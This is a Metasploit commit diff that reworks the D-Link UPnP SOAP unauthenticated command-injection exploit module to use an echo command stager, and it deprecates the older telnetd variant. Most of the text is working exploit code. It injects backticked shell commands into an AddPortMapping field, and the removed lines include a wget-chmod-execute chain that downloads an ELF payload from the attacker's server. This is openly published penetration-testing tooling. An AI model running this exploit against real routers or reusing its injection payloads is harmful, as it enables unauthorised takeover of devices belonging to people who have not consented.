Skip to content

Commit 8f3197c

Browse files
committed
Land rapid7#3496, @m-1-k-3's switch to CmdStager on dlink_upnp_exec_noauth
2 parents 46f5282 + 4ea2daa commit 8f3197c

File tree

2 files changed

+64
-186
lines changed

2 files changed

+64
-186
lines changed

modules/exploits/linux/http/dlink_upnp_exec_noauth.rb

Lines changed: 58 additions & 185 deletions
Original file line numberDiff line numberDiff line change
@@ -6,216 +6,116 @@
66
require 'msf/core'
77

88
class Metasploit3 < Msf::Exploit::Remote
9-
Rank = AverageRanking
9+
Rank = NormalRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
12-
include Msf::Exploit::Remote::HttpServer
13-
include Msf::Exploit::EXE
14-
include Msf::Exploit::FileDropper
15-
include Msf::Auxiliary::CommandShell
12+
include Msf::Exploit::CmdStager
1613

1714
def initialize(info = {})
1815
super(update_info(info,
1916
'Name' => 'D-Link Devices UPnP SOAP Command Execution',
2017
'Description' => %q{
2118
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
2219
interface. Since it is a blind OS command injection vulnerability, there is no
23-
output for the executed command when using the CMD target. Additionally, a target
24-
to deploy a native mipsel payload, when wget is available on the target device, has
25-
been added. This module has been tested on DIR-865 and DIR-645 devices.
20+
output for the executed command. This module has been tested on DIR-865 and DIR-645 devices.
2621
},
2722
'Author' =>
2823
[
29-
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
24+
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
3025
'juan vazquez' # minor help with msf module
3126
],
3227
'License' => MSF_LICENSE,
3328
'References' =>
3429
[
35-
[ 'OSVDB', '94924' ],
36-
[ 'BID', '61005' ],
37-
[ 'EDB', '26664' ],
38-
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
30+
['OSVDB', '94924'],
31+
['BID', '61005'],
32+
['EDB', '26664'],
33+
['URL', 'http://www.s3cur1ty.de/m1adv2013-020']
3934
],
4035
'DisclosureDate' => 'Jul 05 2013',
4136
'Privileged' => true,
42-
'Platform' => %w{ linux unix },
4337
'Payload' =>
4438
{
45-
'DisableNops' => true,
39+
'DisableNops' => true
4640
},
47-
'Targets' =>
41+
'Targets' =>
4842
[
49-
[ 'CMD', #all devices
43+
[ 'MIPS Little Endian',
5044
{
51-
'Arch' => ARCH_CMD,
52-
'Platform' => 'unix'
45+
'Platform' => 'linux',
46+
'Arch' => ARCH_MIPSLE
5347
}
5448
],
55-
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
49+
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
5650
{
57-
'Arch' => ARCH_MIPSLE,
58-
'Platform' => 'linux'
51+
'Platform' => 'linux',
52+
'Arch' => ARCH_MIPS
5953
}
6054
],
6155
],
62-
'DefaultTarget' => 1
56+
'DefaultTarget' => 0
6357
))
6458

59+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
60+
6561
register_options(
6662
[
67-
Opt::RPORT(49152), #port of UPnP SOAP webinterface
68-
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
69-
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
70-
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
63+
Opt::RPORT(49152) # port of UPnP SOAP webinterface
7164
], self.class)
7265
end
7366

74-
def exploit
75-
@new_portmapping_descr = rand_text_alpha(8)
76-
@new_external_port = rand(65535)
77-
@new_internal_port = rand(65535)
78-
79-
if target.name =~ /CMD/
80-
exploit_cmd
81-
else
82-
exploit_mips
83-
end
84-
end
85-
86-
def exploit_cmd
87-
if not (datastore['CMD'])
88-
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
89-
end
90-
cmd = payload.encoded
91-
type = "add"
92-
res = request(cmd, type)
93-
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
94-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
95-
end
96-
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
97-
type = "delete"
98-
res = request(cmd, type)
99-
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
100-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
101-
end
102-
return
103-
end
104-
105-
def exploit_mips
106-
107-
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
108-
109-
#thx to Juan for his awesome work on the mipsel elf support
110-
@pl = generate_payload_exe
111-
@elf_sent = false
112-
113-
#
114-
# start our server
115-
#
116-
resource_uri = '/' + downfile
117-
118-
if (datastore['DOWNHOST'])
119-
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
120-
else
121-
# do not use SSL for this part
122-
# XXX: See https://dev.metasploit.com/redmine/issues/8498
123-
# It must be possible to do this without directly editing the
124-
# datastore.
125-
if datastore['SSL']
126-
ssl_restore = true
127-
datastore['SSL'] = false
128-
end
129-
130-
#we use SRVHOST as download IP for the coming wget command.
131-
#SRVHOST needs a real IP address of our download host
132-
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
133-
srv_host = Rex::Socket.source_address(rhost)
134-
else
135-
srv_host = datastore['SRVHOST']
67+
def check
68+
begin
69+
res = send_request_cgi({
70+
'uri' => '/InternetGatewayDevice.xml'
71+
})
72+
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /<modelNumber>DIR-/
73+
return Exploit::CheckCode::Detected
13674
end
137-
138-
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
139-
140-
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
141-
start_service({'Uri' => {
142-
'Proc' => Proc.new { |cli, req|
143-
on_request_uri(cli, req)
144-
},
145-
'Path' => resource_uri
146-
}})
147-
148-
# Restore SSL preference
149-
# XXX: See https://dev.metasploit.com/redmine/issues/8498
150-
# It must be possible to do this without directly editing the
151-
# datastore.
152-
datastore['SSL'] = true if ssl_restore
75+
rescue ::Rex::ConnectionError
76+
return Exploit::CheckCode::Unknown
15377
end
15478

155-
#
156-
# download payload
157-
#
158-
print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}")
159-
#this filename is used to store the payload on the device
160-
filename = rand_text_alpha_lower(8)
79+
Exploit::CheckCode::Unknown
80+
end
16181

162-
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
163-
type = "add"
164-
res = request(cmd, type)
165-
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
166-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
167-
end
82+
def exploit
83+
print_status("#{peer} - Trying to access the device ...")
16884

169-
# wait for payload download
170-
if (datastore['DOWNHOST'])
171-
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
172-
select(nil, nil, nil, datastore['HTTP_DELAY'])
173-
else
174-
wait_linux_payload
85+
unless check == Exploit::CheckCode::Detected
86+
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
17587
end
17688

177-
register_file_for_cleanup("/tmp/#{filename}")
89+
print_status("#{peer} - Exploiting...")
17890

179-
type = "delete"
180-
res = request(cmd, type)
181-
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
182-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
183-
end
91+
execute_cmdstager(
92+
:flavor => :echo,
93+
:linemax => 400
94+
)
18495
end
18596

186-
def request(cmd, type)
97+
def execute_command(cmd, opts)
98+
new_portmapping_descr = rand_text_alpha(8)
99+
new_external_port = rand(32767) + 32768
100+
new_internal_port = rand(32767) + 32768
187101

188102
uri = '/soap.cgi'
189103

104+
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
105+
190106
data_cmd = "<?xml version=\"1.0\"?>"
191107
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
192108
data_cmd << "<SOAP-ENV:Body>"
193-
194-
if type == "add"
195-
vprint_status("#{rhost}:#{rport} - adding portmapping")
196-
197-
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
198-
199-
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
200-
data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
201-
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
202-
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
203-
data_cmd << "<NewEnabled>1</NewEnabled>"
204-
data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
205-
data_cmd << "<NewRemoteHost></NewRemoteHost>"
206-
data_cmd << "<NewProtocol>TCP</NewProtocol>"
207-
data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
208-
data_cmd << "</m:AddPortMapping>"
209-
else
210-
#we should clean it up ... otherwise we are not able to exploit it multiple times
211-
vprint_status("#{rhost}:#{rport} - deleting portmapping")
212-
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
213-
214-
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
215-
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
216-
data_cmd << "</m:DeletePortMapping>"
217-
end
218-
109+
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
110+
data_cmd << "<NewPortMappingDescription>#{new_portmapping_descr}</NewPortMappingDescription>"
111+
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
112+
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
113+
data_cmd << "<NewEnabled>1</NewEnabled>"
114+
data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
115+
data_cmd << "<NewRemoteHost></NewRemoteHost>"
116+
data_cmd << "<NewProtocol>TCP</NewProtocol>"
117+
data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
118+
data_cmd << "</m:AddPortMapping>"
219119
data_cmd << "</SOAP-ENV:Body>"
220120
data_cmd << "</SOAP-ENV:Envelope>"
221121

@@ -232,36 +132,9 @@ def request(cmd, type)
232132
},
233133
'data' => data_cmd
234134
})
235-
return res
135+
return res
236136
rescue ::Rex::ConnectionError
237-
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
238-
return nil
239-
end
240-
end
241-
242-
# Handle incoming requests from the server
243-
def on_request_uri(cli, request)
244-
#print_status("on_request_uri called: #{request.inspect}")
245-
if (not @pl)
246-
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
247-
return
248-
end
249-
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
250-
@elf_sent = true
251-
send_response(cli, @pl)
252-
end
253-
254-
# wait for the data to be sent
255-
def wait_linux_payload
256-
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
257-
258-
waited = 0
259-
while (not @elf_sent)
260-
select(nil, nil, nil, 1)
261-
waited += 1
262-
if (waited > datastore['HTTP_DELAY'])
263-
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
264-
end
137+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
265138
end
266139
end
267140
end

modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,17 @@
44
##
55

66
require 'msf/core'
7+
require 'msf/core/module/deprecated'
78

89
class Metasploit3 < Msf::Exploit::Remote
910
Rank = ExcellentRanking
1011

1112
include Msf::Exploit::Remote::HttpClient
1213
include Msf::Exploit::FileDropper
14+
include Msf::Module::Deprecated
15+
16+
DEPRECATION_DATE = Date.new(2014, 9, 11)
17+
DEPRECATION_REPLACEMENT = 'exploits/linux/http/dlink_upnp_exec_noauth'
1318

1419
def initialize(info = {})
1520
super(update_info(info,
@@ -22,7 +27,7 @@ def initialize(info = {})
2227
},
2328
'Author' =>
2429
[
25-
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
30+
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
2631
'juan vazquez' # minor help with msf module
2732
],
2833
'License' => MSF_LICENSE,

0 commit comments

Comments
 (0)